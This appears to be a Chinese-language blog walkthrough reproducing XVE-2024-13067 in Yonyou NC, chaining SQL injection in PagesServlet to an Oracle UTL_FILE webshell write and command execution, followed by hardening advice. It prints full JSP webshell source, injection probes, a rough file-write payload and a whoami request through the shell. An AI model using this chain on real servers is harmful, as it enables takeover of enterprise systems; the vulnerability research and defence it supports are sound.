1. 项目概述与背景最近在安全圈里用友NC的一个老漏洞又被翻出来讨论了编号是XVE-2024-13067。这个漏洞的核心路径是/uapws/service/nc.uap.oba.servlet.PagesServlet一个听起来平平无奇的接口却因为SQL注入问题最终能导致远程代码执行。我花了一些时间在合规的测试环境中完整复现了这个漏洞的利用链。整个过程挺有意思它不像那种一个点打穿就完事的漏洞而是需要结合几个环节从注入点到文件写入再到命令执行环环相扣。这篇文章我就来详细拆解一下这个漏洞的成因、复现过程以及其中涉及的一些关键技巧和容易踩的坑。无论你是刚入门安全测试的新手还是想了解真实企业级应用漏洞利用的老手相信都能从中获得一些实操性的启发。用友NC作为国内广泛使用的ERP系统其安全性直接影响大量企业的核心业务数据。PagesServlet这个组件在处理前端页面请求时本应做好数据过滤但恰恰在参数解析上出现了纰漏导致了SQL注入。更关键的是在NC的架构下通过特定的SQL注入技巧我们可以利用数据库的功能向服务器写入文件进而结合NC自身的特性实现RCE。这个漏洞的利用过程清晰地展示了“注入-》文件写入-》命令执行”这一经典攻击链在复杂系统中的应用。下面我们就从环境搭建开始一步步还原攻击者的视角。2. 漏洞原理深度剖析2.1 PagesServlet组件功能与缺陷定位要理解这个漏洞首先得知道PagesServlet是干什么的。在用友NC的体系里它负责处理一些与页面元数据、组件配置相关的请求。当前端需要动态加载页面布局或控件信息时可能会调用到这个Servlet。问题出在它处理HTTP请求参数的方式上。通过反编译分析或流量拦截我们可以发现该Servlet会接收诸如ds、page、node等参数并将它们直接用于拼接数据库查询语句。这里最典型的缺陷就是未对输入进行充分的过滤和转义。例如攻击者可控的node参数被直接拼接进了查询UPM_PAGE等系统表的SQL语句中。在Java Web应用中如果使用原始的字符串拼接方式来构建SQL语句例如Statement而非PreparedStatement并且前端传入的参数没有经过严格的校验那么SQL注入的风险就极高。PagesServlet正是犯了这样的错误它将用户输入的参数原封不动地嵌入了查询逻辑为后续的注入利用打开了大门。2.2 SQL注入点到文件写入的桥梁单纯的SQL注入能获取数据但距离RCE还有距离。用友NC通常部署在Windows服务器上并采用数据库如Oracle或SQL Server。这就为利用SQL注入进行文件写入提供了可能。以Oracle数据库为例拥有足够权限的数据库用户而NC的应用数据库用户往往权限不小可以利用UTL_FILE包或者通过SELECT ... INTO DUMPFILEMySQL思路此处为类比等方式向服务器特定目录写入文件。在这个漏洞的利用链中攻击者需要通过SQL注入点执行一条能向Web目录或任何可被Web服务器访问的目录写入一个JSP Webshell文件的SQL语句。这个过程需要精确控制写入的内容和路径。例如在Oracle中可能需要构造这样的注入载荷||UTL_FILE.FWRITE(...)||将一段JSP代码写入到webapps/nc_web/下的某个位置。这步操作的成功与否取决于数据库用户的权限、数据库的配置如是否允许操作系统文件访问以及Web目录的路径是否可预测或可被探测。2.3 从Webshell到远程命令执行成功写入一个JSP文件后RCE就完成了一大半。这个JSP文件通常是一个功能简单的Webshell接收一个参数如cmd并执行它。攻击者通过浏览器直接访问这个写入的JSP文件路径传入系统命令Web服务器就会以运行NC服务的用户身份可能是system或管理员执行该命令并将结果返回给浏览器。至此一个完整的远程代码执行漏洞利用链就形成了构造恶意的HTTP请求触发PagesServlet的SQL注入 - 通过注入执行数据库的“文件写入”功能 - 将JSP Webshell写入Web可访问目录 - 访问Webshell执行任意操作系统命令。这个链条清晰地展示了应用层漏洞如何与数据库特性、系统配置相结合最终造成严重的后果。3. 复现环境搭建与配置3.1 靶场环境选择与部署为了安全、合法地复现和研究这个漏洞我们必须在一个隔离的、自己拥有完全控制权的环境中进行。我选择在本地虚拟机中搭建环境。操作系统与基础环境我选用Windows Server 2012 R2作为靶机系统这更贴近很多传统企业的实际部署环境。虚拟机配置了4核CPU、8GB内存和100GB硬盘空间并确保网络设置为NAT或仅主机模式与物理机隔离。用友NC安装寻找对应漏洞版本的用友NC安装包例如NC 6.5早期版本。安装过程需要注意几点首先安装路径不要包含中文或特殊字符我通常选择D:\yonyou\。其次在安装过程中会提示配置数据库这里我选择安装自带的演示数据库如HSQLDB或提前安装好Oracle 11g并创建好实例。如果使用Oracle需要确保正确配置了TNS并且NC的安装程序能成功连接并初始化数据库。安装完成后启动NC服务通过浏览器访问http://localhost:8080端口可能因安装而异能正常看到NC的登录页面说明基础环境部署成功。数据库配置注意事项如果使用Oracle需要特别关注数据库用户的权限。NC的安装脚本通常会创建一个权限较高的用户。为了复现文件写入我们需要确认该用户拥有执行UTL_FILE等系统包的权限。可以通过SQL*Plus连接后执行SELECT * FROM USER_SYS_PRIVS WHERE PRIVILEGE LIKE ‘%FILE%’;来查看。在实验环境中为了方便我可能会直接授予用户DBA角色但这在生产环境中是绝对禁止的。注意所有漏洞复现活动必须在完全自主控制的隔离环境中进行。严禁对任何非授权系统进行测试。本文所述步骤仅供安全研究与学习之用。3.2 必要工具准备工欲善其事必先利其器。复现这个漏洞需要用到以下几类工具HTTP代理与抓包工具用于拦截、分析和重放HTTP请求。Burp Suite Community版是首选它的Repeater和Intruder模块在漏洞探测和利用时非常方便。Fiddler或Charles也是不错的选择。数据库连接工具用于直接与NC的后台数据库交互验证注入结果和文件写入情况。如果数据库是Oracle可以用SQL Developer或PL/SQL Developer如果是SQL Server则用SQL Server Management Studio。综合漏洞测试工具虽然这个漏洞可以手工复现但使用sqlmap这类自动化工具可以帮助我们快速验证注入点的存在和数据库类型。准备好sqlmap的最新版本。文本编辑器与编码工具用于编写和编码我们的攻击载荷。Notepad或VS Code都可以。因为我们需要将JSP Webshell的代码进行十六进制编码或字符转换以嵌入SQL语句一个能方便进行HEX编码/解码的在线工具或插件会很有帮助。JSP Webshell代码准备一个简短的JSP命令执行脚本。例如一个经典的“一句话”Webshell如下% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if(cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %我们需要将这段代码进行转换以便能通过SQL语句写入。4. 漏洞手工复现详细步骤4.1 注入点探测与验证首先我们需要找到PagesServlet的访问路径并确认其存在。通过翻阅NC的Web应用结构或利用一些已知的目录扫描字典我们可以尝试访问http://target_ip:port/uapws/service/nc.uap.oba.servlet.PagesServlet。使用Burp Suite拦截浏览器发出的任何请求或者直接在Repeater中构造请求。一个典型的、可能触发漏洞的请求是POST请求其参数可能包含在URL中或请求体内。我们需要尝试不同的参数组合。根据公开的漏洞信息node参数是一个常见的注入点。第一步初步探测。发送一个带有基本参数的请求POST /uapws/service/nc.uap.oba.servlet.PagesServlet HTTP/1.1 Host: target:8080 Content-Type: application/x-www-form-urlencoded dsmainpage/abcnode1观察返回结果。如果返回了正常的XML或JSON数据可能包含页面配置信息说明接口存活。第二步验证SQL注入。尝试经典的注入探测载荷。将node参数的值改为1‘单引号node1如果应用返回了数据库错误信息如Oracle的“ORA-xxxxx”错误、SQL Server的“Incorrect syntax”错误或者页面响应与正常请求有显著差异如500内部服务器错误、空白页那么这里就可能存在字符型SQL注入。第三步确认注入类型与数据库。进一步测试node1‘ and ‘1’’1和node1‘ and ‘1’’2。如果第一个请求返回正常内容第二个请求返回异常或空内容则基本确认存在字符型注入。通过错误信息或使用诸如node1‘ AND (SELECT COUNT(*) FROM V$VERSION)0 --Oracle或node1‘ AND version0 --SQL Server这样的条件语句可以判断后端数据库类型。这里假设我们确认是Oracle数据库。4.2 利用SQL注入进行文件写入这是整个复现过程中技术含量最高的一步。我们的目标是通过注入点让Oracle数据库执行文件写入操作。第一步构造文件写入载荷。我们需要将之前准备的JSP Webshell代码写入Web目录。首先将JSP代码转换为Oracle能处理的格式。一种常见的方法是将其转换为十六进制字符串然后使用UTL_FILE包写入。但直接写入文本文件更简单前提是数据库有权限且知道绝对路径。假设我们已知或通过错误信息、数据库查询猜解出NC的Web应用根目录在D:\yonyou\home\ufse\webapps\nc_web\。我们要写入的文件名为testrce.jsp。我们需要构造一个能执行UTL_FILE.PUT_LINE过程的SQL片段。由于是在注入点我们需要将其嵌入到原SQL语句中。假设原查询大致是SELECT ... FROM ... WHERE NODE_ID ‘“ node “’。那么我们的注入载荷需要闭合前面的单引号插入我们的恶意SQL并注释掉后续部分。一个可能的载荷雏形如下1‘); EXECUTE IMMEDIATE ‘DECLARE fh UTL_FILE.FILE_TYPE; BEGIN fh : UTL_FILE.FOPEN(’’D:\yonyou\home\ufse\webapps\nc_web\’, ‘’testrce.jsp\’, ‘’W); UTL_FILE.PUT_LINE(fh, ‘’% page import\java.util.*,java.io.*\%%String cmdrequest.getParameter(\cmd\);if(cmd!null){Process pRuntime.getRuntime().exec(cmd);...}%); UTL_FILE.FCLOSE(fh); END;‘; --但这个载荷非常原始会遇到单引号转义、语句拼接等诸多问题。第二步处理单引号与编码。在Oracle的字符串中单引号需要两个单引号来表示。所以我们的JSP代码中的所有单引号都需要转义。此外整个注入语句需要精心构造确保语法正确。更稳健的做法是使用CHR()函数来构造字符串避免直接使用单引号。例如字母A可以用CHR(65)表示。我们可以编写一个Python脚本将JSP代码转换成一系列CHR()函数拼接的字符串。第三步最终注入与执行。经过精心构造一个可行的概念性载荷可能如下所示。这里使用了UNION SELECT结合DBMS_XMLQUERY或UTL_HTTP等间接方式进行文件写入是更高级的技巧。由于篇幅和复杂性不展开具体字节码转换过程。但核心思路是通过注入点执行一个匿名的PL/SQL块该块调用UTL_FILE包将经过CHR()编码的Webshell内容写入目标路径。发送这个构造好的请求后如果返回没有报错理论上文件就已经写入了。我们可以通过尝试访问http://target:8080/nc_web/testrce.jsp来验证。如果返回空白页没有JSP错误说明文件存在且语法基本正确。实操心得这一步失败率很高。常见原因有1) 数据库用户没有UTL_FILE的执行权限或对目标目录没有写权限。需要在数据库端提前授权。2) Web路径猜解错误。可以通过查询数据库系统表如SELECT * FROM ALL_DIRECTORIES来寻找可能路径或者利用注入点读取服务器文件来探测路径。3) 构造的PL/SQL块语法错误。建议先在数据库客户端工具中调试好写入语句确保能成功执行再将其转换成注入载荷。4.3 访问Webshell执行命令如果文件写入成功最后一步就很简单了。在浏览器或Burp Repeater中访问写入的JSP文件并带上cmd参数。例如GET /nc_web/testrce.jsp?cmdwhoami HTTP/1.1 Host: target:8080如果服务器返回了执行命令whoami的结果例如显示了nt authority\system或具体的用户名那么恭喜你远程代码执行成功了。你可以尝试执行其他命令如ipconfig、dir D:\等来验证权限和控制范围。5. 利用过程常见问题与排查5.1 注入点探测无响应或报错不明确问题描述发送带有单引号的探测请求后服务器返回404、403或者一个通用的错误页面没有详细的数据库错误信息。排查思路路径错误确认PagesServlet的完整路径是否正确。不同版本的NC路径可能有细微差别。可以尝试用目录扫描工具如Dirsearch对/uapws/service/目录进行扫描。参数名错误node可能不是唯一的注入参数尝试其他参数如ds、page、id等。通过拦截浏览器访问NC系统时产生的正常请求观察哪些请求调用了这个Servlet以及它使用了哪些参数。请求方法错误尝试将POST改为GET或者反之。有些接口可能对请求方法有要求。缺少必要参数或头部有些接口可能需要特定的Content-Type如text/xml或Cookie会话标识。通过一个已认证的浏览器会话去访问然后用Burp抓取这个请求基于这个正确的请求模板进行修改和探测。WAF或防护软件拦截如果环境中有Web应用防火墙可能会拦截带有明显SQL注入特征的请求。尝试使用混淆、编码等技术绕过。例如将单引号URL编码为%27使用/**/代替空格等。5.2 文件写入步骤失败问题描述注入语句执行后没有报错但访问预期的JSP路径返回404或者服务器抛出JSP编译错误说明文件内容不对。排查技巧权限验证这是最常见的原因。登录数据库直接以NC应用用户身份执行一个简单的文件写入测试DECLARE fh UTL_FILE.FILE_TYPE; BEGIN fh : UTL_FILE.FOPEN(TEMP_DIR, test.txt, W); -- TEMP_DIR需要替换为已有目录对象 UTL_FILE.PUT_LINE(fh, test content); UTL_FILE.FCLOSE(fh); END;如果执行失败说明权限不足。需要联系DBA或在实验环境中自己授予CREATE ANY DIRECTORY、DROP ANY DIRECTORY以及对目录的读写权限。路径问题Oracle中不能直接使用操作系统绝对路径进行UTL_FILE操作必须先创建一个DIRECTORY对象并授权。你需要知道NC系统使用了哪个DIRECTORY对象或者自己有权限创建一个。可以通过注入查询SELECT * FROM ALL_DIRECTORIES;来获取信息。写入的路径必须是DIRECTORY对象对应的物理路径。内容编码与格式错误通过注入写入文件时换行符、特殊字符如% %处理不当会导致JSP文件格式错误。确保你的转换脚本正确处理了这些字符。写入后可以尝试用数据库命令读取文件前几行内容检查是否准确。语句执行被截断或干扰注入的SQL语句可能因为长度限制、特殊字符被过滤等原因没有完整执行。使用Burp的Logger或数据库的监控工具查看最终执行的SQL语句是什么。简化写入内容比如先只写入test字符串进行测试。5.3 Webshell访问被拦截或无法执行命令问题描述能访问到JSP文件但执行命令无回显或返回500错误。解决方案JSP语法错误访问JSP文件时如果直接抛出编译错误说明写入的JSP代码有语法问题。检查你的JSP代码字符串确保所有Java语法正确特别是字符串转义。一个更稳妥的Webshell是只包含最小功能的核心代码。命令执行无回显我们提供的示例Webshell依赖于进程的输入流回显。有些命令如ping可能没有标准输出或者输出被缓冲。尝试使用cmd /c commandWindows来执行命令并确保命令本身有输出。也可以修改Webshell将标准错误流p.getErrorStream()也一起读取并输出。安全软件拦截服务器上可能安装了杀毒软件或主机安全产品它们会监控和拦截Runtime.exec()这类敏感调用或者对写入的JSP Webshell文件进行查杀。在实验环境中可以暂时关闭这些防护软件进行测试。在实际渗透测试中这需要作为绕过防护的另一个课题来研究。权限问题虽然拿到了Webshell但执行命令的用户权限可能受限。执行whoami和net user等命令查看当前权限。如果权限较低可能需要进一步提权。6. 漏洞修复与安全加固建议复现漏洞是为了更好地理解它从而修复和防御。对于企业安全人员和开发者针对此类漏洞应从以下几个层面进行加固1. 代码层修复根本解决使用参数化查询PreparedStatement这是防止SQL注入最有效的方法。将所有涉及数据库查询的地方特别是像PagesServlet这样处理外部参数的地方改造为使用PreparedStatement杜绝字符串拼接。输入验证与过滤对ds、page、node等所有输入参数进行严格的合法性校验。例如node参数如果预期是数字则进行强类型转换和范围检查如果是字符串则过滤掉单引号、分号等敏感字符。最小权限原则用于连接数据库的应用程序账户不应拥有DBA或类似UTL_FILE执行、文件系统读写这样的高危权限。严格限制其只能进行必要的增删改查操作。2. 数据库层加固撤销不必要的权限审查并撤销应用程序数据库账户所有非必需的权限特别是UTL_FILE、DBMS_ADVISOR、Java执行等可能用于拓展攻击面的权限。使用安全的目录对象如果业务确实需要文件操作使用DIRECTORY对象时将其指向非Web可访问、权限严格控制的目录。启用数据库审计审计所有执行UTL_FILE等敏感包的操作及时发现异常行为。3. 系统与网络层防护部署WAF在应用前端部署Web应用防火墙可以有效拦截和阻断利用此类已知漏洞特征的攻击请求。定期更新与补丁及时关注用友官方发布的补丁公告对系统进行升级。对于已停止维护的旧版本应制定迁移计划。文件系统权限控制确保Web根目录及其子目录的写入权限仅授予Web服务器进程必需的最小账户禁止其他用户包括数据库用户直接写入。入侵检测与监控在服务器上部署HIDS主机入侵检测系统监控Web目录下异常JSP/ASP等脚本文件的创建、修改行为。4. 安全开发流程SDL安全开发生命周期将安全要求嵌入到软件开发的每一个阶段需求、设计、编码、测试、部署都需考虑安全。代码安全审计与渗透测试定期对核心业务系统特别是像ERP这样的关键系统进行专业的代码审计和黑盒渗透测试主动发现潜在漏洞。这个漏洞的复现过程是一次对“漏洞链”利用的典型学习。它告诉我们一个看似简单的注入点在特定的环境配置下可能演变成严重的远程代码执行漏洞。作为防御方必须建立起纵深防御的体系从代码到数据库再到操作系统和网络层层设防才能有效降低风险。而对于安全研究者来说理解这些利用链能帮助我们更全面地评估系统的安全性写出更有效的检测规则。在实验环境中成功复现的那一刻你收获的不仅仅是一个“漏洞利用成功”的提示更是对复杂系统攻防对抗的更深层次认知。